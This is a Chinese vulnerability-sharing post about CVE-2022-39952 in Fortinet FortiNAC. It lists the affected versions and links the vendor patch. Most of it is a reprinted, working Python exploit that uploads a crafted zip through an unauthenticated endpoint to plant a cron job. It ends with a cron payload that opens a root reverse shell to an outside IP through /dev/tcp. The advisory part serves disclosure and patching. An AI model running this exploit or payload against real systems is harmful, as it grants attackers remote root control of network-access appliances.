【CVE-2022-39952】Fortinet FortiNAC 安全漏洞

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/horizon3ai/CVE-2022-39952

漏洞介绍

Fortinet FortiNAC是美国飞塔(Fortinet)公司的一种零信任访问解决方案。

Fortinet FortiNAC存在安全漏洞。攻击者利用该漏洞通过特制的HTTP请求执行未经授权的代码或命令。以下版本受到影响:9.4.0版本、9.2.0版本至9.2.5版本、9.1.0版本至9.1.7版本、8.8.0版本至8.8.11版本、8.7.0版本至8.7.6版本、8.6.0版本至8.6.5版本、8.5.0版本至8.5.4版本、8.3.7版本

修复补丁

https://fortiguard.com/psirt/FG-IR-22-300

POC

CVE-2022-39952.py

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)

payload

* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1

 

标签:工具分享, 漏洞分享, POC脚本